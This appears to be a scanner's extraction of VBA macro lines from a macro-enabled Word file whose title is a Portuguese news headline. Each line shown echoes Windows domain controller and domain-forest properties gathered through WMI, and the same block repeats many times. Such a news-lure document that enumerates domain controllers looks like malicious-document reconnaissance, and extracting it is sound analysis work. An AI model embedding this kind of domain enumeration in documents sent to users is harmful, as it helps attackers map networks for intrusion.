Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docm	OLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
